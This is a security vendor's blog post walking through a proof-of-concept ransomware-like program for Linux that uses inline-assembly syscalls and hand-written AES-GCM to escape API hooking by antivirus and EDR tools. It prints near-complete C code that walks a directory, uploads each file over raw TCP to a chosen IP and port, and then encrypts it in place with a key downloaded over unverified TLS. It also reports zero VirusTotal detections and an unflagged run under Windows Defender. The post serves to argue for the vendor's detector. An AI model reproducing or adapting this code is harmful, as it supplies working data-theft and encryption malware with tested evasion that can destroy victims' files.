How Ransomware Can bypass EDRs and 65 AV Engines
Ransomware
Introduction
Ransomware has been a persistent threat, costing organizations millions in damages due to compromised credentials, unpatched software, and misconfigurations. To highlight how serious the issue is, the Cybersecurity and Infrastructure Security Agency(CISA) has created a dedicated page to stop Ransomware. There isn’t a single reason why ransomware continues to be so successful; instead, the causes range from poorly educated employees whose credentials were stolen, to unpatched software, to various misconfigurations. That being said the real magic of ransomware occurs in that “last mile,” when the actual file encryption takes place. Evading antimalware usually boils down to a general conclusion , and that is writing custom code with new techniques that have not been identified as malicious. Some of the techniques that are being used in the wild include:
Advanced Obfuscation and Polymorphism
Fileless and “Living off the Land” Attacks
Disabling or Tampering with Security Tools
Overwhelming the Defenses via Quantity and Variant Proliferation
Traditional antimalware solutions attempt to intercept or monitor encryption related APIs, but what if those APIs aren’t called in the usual way? In this post, we walk through a proof-of-concept ransomware-like tool that avoids detection by using inline assembly for everything important such as filesystem operations, socket interactions, and AES encryption, thus bypassing many conventional detection technique.
Why Inline Assembly
This technique is referred to as Native API by MITRE. In short, API hooking is one of the last lines of defense for many EDR (Endpoint Detection and Response) and antivirus tools. They rely on intercepting calls to known functions, like open(), write(), or EVP_EncryptInit_ex(). By implementing these in pure assembly, we effectively hide our footprints. Standard hooking solutions see something that resembles benign syscalls (or doesn’t show up at all the way they expect), which can let the code slip by.
The snippets shown in this blog have been truncated for brevity, you can find the complete code here.
Please note that this post does not create fully functional ransomware. Instead, it implements a limited set of features solely to demonstrate the proof of concept.
Minimal Syscall Wrappers
static inline long xyq_sc3(long x1, long x2, long x3, long x4) { ... }
static inline long xyq_sc2(long x1, long x2, long x3) { ... }
static inline long xyq_sc1(long x1, long x2) { ... }Why these matter: We’re calling Linux syscalls directly using inline assembly:
xyq_sc3: Places the syscall number in rax and up to three arguments (rdi, rsi, rdx) before the syscall instruction.
xyq_sc2, xyq_sc1: Same idea but for fewer arguments.
This approach avoids the standard C library (libc) and its well known function calls. The AV hooking logic that expects calls to fopen, read, or write never sees them (although these can still be intercepted at the kernel level)
We define a few more convenient wrappers:
static inline long xyq_opn(const char* pz, long fz, long mz); static inline long xyq_r(long fd, void* bf, long ct); static inline long xyq_w(long fd, const void* bf, long ct); static inline long xyq_cl(long fd); static inline void xyq_ex(long cd); static inline long xyq_gd(long fd, void* dp, long ct);
They correspond to open(), read(), write(), close(), exit(), and getdents64(). They rely on those assembly stubs above, basically passing the correct syscall number (e.g. XYQ_OPN == 2 for Linux’s sys_open).
AES-256 Key Expansion and Single-Block AES-NI
We also need encryption but we don’t want to rely on calls like EVP_EncryptUpdate(). Instead, we do AES-NI instructions directly:
static const unsigned char Z1[256] = { ... }; // S-box
static const unsigned int Z2[15] = { ... }; // Rcon round constantsWe hold the standard AES S-box and round constants in arrays to do the AES-256 key schedule ourselves.
Q3(...): Performs the full AES-256 key expansion. It takes your 32-byte key and produces 15 round keys (since AES-256 has 14 rounds + initial round key).
Q4(...): Encrypts a single 16-byte block using AES-NI inline assembly. It loads the block into xmm0, XORs with the round key in xmm1, and then calls aesenc repeatedly for each round.
static void Q3(const unsigned char *kk, unsigned char rr[15][16]) { ... }
static void Q4(unsigned char blk[16], const unsigned char rr[15][16]) { ... }This means no more suspicious calls to OpenSSL’s AES_encrypt or EVP_Encrypt* the encryption is effectively “hidden” in the final binary’s inline assembly. Hooking solutions that monitor known encryption APIs won’t trigger.
Minimal GCM Implementation
For even more stealth, we do AES-GCM in pure code:
Q5(...): XORs two 16-byte blocks.
Q6(...): Galois field multiplication for GHASH. This is the heart of GCM’s authentication.
Q7(...): Another GHASH helper, combining blocks for integrity.
Q8(...): Our chunk-based encryption in CTR mode. It uses Q4 (AES single-block) to generate the keystream, XORs that keystream with plaintext, and updates the GHASH each time.
Q9(...): Final GCM steps, including the tag calculation for authenticity.
Each chunk of the file is encrypted in Q8, and it all happens inlined, with no calls to standard library encryption
Q8(buf, rd, rr, jj, hh, gg);,
Reading & Encrypting Files in Place
After the encryption routines, we have code to iterate over directory entries with getdents64, then open, read, and write files:
struct XYQ_dirent64: Our own minimal struct to interpret directory entries.
Q12 & Q13: Simple string helpers (length, path concatenation).
We store found filenames, and if they’re regular files, we do two steps:
Upload the file via raw TCP (function Q14(...)). This also uses direct syscalls for socket(), connect(), etc.
Encrypt in place using Q10(...).
Here’s a snippet of the encryption function:
static void Q10(const char* pi, const char* po, const unsigned char rr[15][16])
{
printf("[+] Encrypting file from %s to %s\n", pi, po);
long fd1 = xyq_opn(pi, XYQ_RONLY, 0);
printf(" -> Input file descriptor = %ld\n", fd1);
if (fd1 < 0) {
printf("[!] Cannot open input file %s\n", pi);
return;
}
// We create or truncate the destination file
long fd2 = xyq_opn(po, XYQ_WONLY | XYQ_CRT | XYQ_TRN, 0644);
printf(" -> Output file descriptor = %ld\n", fd2);
if (fd2 < 0) {
printf("[!] Cannot open output file %s\n", po);
xyq_cl(fd1);
return;
}
// Set up the IV
unsigned char jj[16];
for (int pp = 0; pp < 16; pp++) {
jj[pp] = 0;
}
// 96-bit random IV (12 bytes from /dev/urandom, fallback if not available)
long ur = xyq_opn("/dev/urandom", XYQ_RONLY, 0);
if (ur >= 0) {
xyq_r(ur, jj, 12);
xyq_cl(ur);
printf(" -> IV loaded from /dev/urandom\n");
} else {
printf("[!] Failed to open /dev/urandom, using default IV of zeros!\n");
}
jj[12] = 0x00;
jj[13] = 0x00;
jj[14] = 0x00;
jj[15] = 0x01;
// Write first 12 bytes of IV into the output file
xyq_w(fd2, jj, 12);
printf(" -> Wrote IV (12 bytes) to output\n");
// Save a copy of the IV as JJ0 for final tag step
unsigned char jj0[16];
for (int pp = 0; pp < 16; pp++) {
jj0[pp] = jj[pp];
}
// Compute H = AES_enc(0...0)
unsigned char hh[16];
for (int pp = 0; pp < 16; pp++) hh[pp] = 0;
Q4(hh, rr);
printf(" -> GCM H value computed.\n");
// GHASH accumulator
unsigned char gg[16];
for (int pp = 0; pp < 16; pp++) gg[pp] = 0;
unsigned char buf[4096];
long tenc = 0;
printf(" -> Starting encryption loop...\n");
for (;;) {
long rd = xyq_r(fd1, buf, sizeof(buf));
if (rd <= 0) {
printf(" -> Finished reading input or error: rd = %ld\n", rd);
break;
}
// Encrypt buffer in place
Q8(buf, rd, rr, jj, hh, gg);
// Write encrypted chunk
xyq_w(fd2, buf, rd);
tenc += rd;
}
unsigned char tg[16];
// Finalize tag
Q9(tenc, rr, hh, jj0, gg, tg);
// Write the 16-byte tag
xyq_w(fd2, tg, 16);
printf(" -> Wrote GCM tag (16 bytes) to output\n");
xyq_cl(fd1);
xyq_cl(fd2);
}We end up with something that, from a hooking perspective, looks like repeated calls to a custom “assembly-based read” and “assembly-based write,” plus some memory manipulations. No fancy library calls to ring any alarm bells.
Socket-based Upload
The upload function Q14(...):
Opens the source file.
Creates a socket (via xyq_sc3(41, ...)—the raw Linux socket() call).
Connects to aa.bb.cc.dd:port.
Reads the file in 4096-byte chunks, then sends them with xyq_w (again, raw syscall).
No standard functions like send(), fopen(), or fread() are used
static void Q14(const char *ppp,
unsigned char aa, unsigned char bb,
unsigned char cc, unsigned char dd,
unsigned short pt)
{
printf("[+] Uploading file %s to %u.%u.%u.%u:%u\n", ppp, aa, bb, cc, dd, pt);
long fdi = xyq_opn(ppp, XYQ_RONLY, 0);
printf(" -> Input file descriptor = %ld\n", fdi);
if (fdi < 0) {
printf("[!] Cannot open file for upload: %s\n", ppp);
return;
}
long sfd = xyq_so(XYQ_AFINT, XYQ_SSTRM, 0);
printf(" -> Socket descriptor = %ld\n", sfd);
if (sfd < 0) {
printf("[!] Failed to create socket.\n");
xyq_cl(fdi);
return;
}
struct XYQ_sockaddr_in ssa;
for (int ii = 0; ii < (int)sizeof(ssa); ii++) {
((char*)&ssa)[ii] = 0;
}
ssa.xyq_sfam = XYQ_AFINT;
ssa.xyq_spor = xyq_htn(pt);
ssa.xyq_sadr = xyq_itn(aa, bb, cc, dd);
long cst = xyq_co(sfd, &ssa, sizeof(ssa));
printf(" -> Connect status = %ld\n", cst);
if (cst < 0) {
printf("[!] Failed to connect.\n");
xyq_cl(fdi);
xyq_cl(sfd);
return;
}
// Send file data
unsigned char buf[4096];
for (;;) {
long nr = xyq_r(fdi, buf, sizeof(buf));
if (nr <= 0) {
printf(" -> Read done or error: nr = %ld\n", nr);
break;
}
long stt = 0;
while (stt < nr) {
long sn = xyq_w(sfd, buf + stt, nr - stt);
if (sn < 0) {
printf("[!] Write error.\n");
xyq_cl(fdi);
xyq_cl(sfd);
return;
}
stt += sn;
}
}
xyq_cl(fdi);
xyq_cl(sfd);
printf(" -> Upload finished.\n");
}TLS Key Download
We do use OpenSSL’s TLS client code here, but we skip the certificate checks fhe purpose of the demo:
The function Q16_tls(...):
static int Q16_tls(unsigned char *out_key32) {
// ...
// 1) SSL_CTX_new -> get method
// 2) Connect to 127.0.0.1:9999
// 3) BIO_read 32 bytes into out_key32
// ...
}
We only rely on a minimal set of OpenSSL calls for the TLS handshake. Then we retrieve exactly 32 bytes from the server, presumably the AES-256 key. Once that’s done, we never call the usual encryption routines from OpenSSL; we do it ourselves in assembly.
Bringing It All Together (main())
int main(int argc, char **argv)
{
printf("[*] Program started. Expecting 1 argument: <input-dir>\n");
// We expect at least 1 argument beyond argv[0]: input-dir
if (argc < 2) {
printf("[!] Not enough arguments. Usage: ./aes256_noimports <input-dir>\n");
xyq_ex(1);
}
printf("[*] Input dir: %s\n", argv[1]);
// 1) Download 32-byte key via TLS
unsigned char m1[32];
{
printf("[*] Downloading 32-byte key via TLS...\n");
int ret = Q16_tls(m1);
if (ret < 0) {
printf("[!] TLS key download failed with error %d\n", ret);
xyq_ex(2);
}
}
// 2) Build AES round keys
unsigned char m2[15][16];
Q3(m1, m2);
// 3) Open input directory: argv[1]
printf("[*] Opening input directory: %s\n", argv[1]);
long fd3 = xyq_opn(argv[1], XYQ_DIR, 0);
printf(" -> Directory fd3 = %ld\n", fd3);
if (fd3 < 0) {
printf("[!] Cannot open input directory.\n");
xyq_ex(4);
}
// 4) Read directory, upload files, then encrypt in place
char dbf[4096];
printf("[*] Reading directory entries...\n");
for (;;) {
long nm = xyq_gd(fd3, dbf, sizeof(dbf));
if (nm <= 0) {
printf("[*] No more entries or error: nm = %ld\n", nm);
break;
}
long bp = 0;
while (bp < nm) {
struct XYQ_dirent64 *dr = (struct XYQ_dirent64 *)(dbf + bp);
char *nmz = dr->d_name;
unsigned char dtp = dr->d_type;
printf(" -> Found entry: %s (type: %u)\n", nmz, dtp);
// If it's a regular file (type == 8)
if (dtp == 8) {
// Full path to the file in the input dir
char pathFile[512];
Q13(pathFile, argv[1], nmz);
// 1) Upload the original file
printf("[*] Uploading non-encrypted file: %s\n", pathFile);
Q14(pathFile, 127, 0, 0, 1, 8080);
// 2) Encrypt in place:
// We'll create a temporary file named "pathFile.enc",
// then rename it back to "pathFile" after encryption.
char pathEnc[512];
snprintf(pathEnc, sizeof(pathEnc), "%s.enc", pathFile);
// Encrypt pathFile -> pathEnc
printf("[*] Encrypting in place: %s -> %s\n", pathFile, pathEnc);
Q10(pathFile, pathEnc, m2);
// Overwrite the original file by renaming the encrypted
// version back to the original path.
int ren = rename(pathEnc, pathFile);
if (ren < 0) {
printf("[!] rename(%s -> %s) failed\n", pathEnc, pathFile);
} else {
printf("[*] Overwrote %s with encrypted data\n", pathFile);
}
}
bp += dr->d_reclen;
}
}
printf("[*] Closing directory.\n");
xyq_cl(fd3);
printf("[*] Done. Exiting with code 0.\n");
xyq_ex(0);
return 0; // Not reached due to xyq_ex
}This main function is straightforward: it ensures we have an input directory, downloads the key, scans the directory, uploads each file, then overwrites it with an encrypted version.
Detection Results
When compiled into a single binary and uploaded to VirusTotal, it came back with 0 detections., the hash is
7827c68031d2ca2a754ed742136872f256041b709e8a346f46d6e71a81ea086c
We also copy it to a windows machine that has defender enabled and it runs with no flags
Meanwhile, the Deep Application Profiler detects it instantly and gave it a higher maliciousness score as seen in the video below
We also create a windows version and run it on a windows machine with defender enabled, see minimal hooking triggers because the code never calls the typical WinAPI crypto functions and the code runs successfully
API Hooking Blind Spots
Hooking solutions often watch for calls like:
openat(…), getrandom(…), EVP_EncryptInit_ex(…), EVP_EncryptUpdate(…), EVP_EncryptFinal_ex(…)
But our approach:
Replaces the standard library with direct syscalls.
Implements AES with inline aesenc instructions.
Conclusion & Next Steps
While this is just a proof-of-concept, it underscores how trivial it is to bypass many antimalware solutions by:
- Avoiding standard library calls to encryption functions.
- Inlining assembly for syscalls and crypto operations.
- Masking or skipping typical import table entries that hooking engines watch.
Most antimalware solutions rely heavily on rigid rules, lacking the deeper context and understanding needed to accurately identify advanced threats. With DAP, we took a different approach. As demonstrated, DAP was the only solution capable of detecting this malware because it leverages neural networks to gain a deep, contextual understanding of executables, without depending solely on API calls, import tables, or basic heuristics.
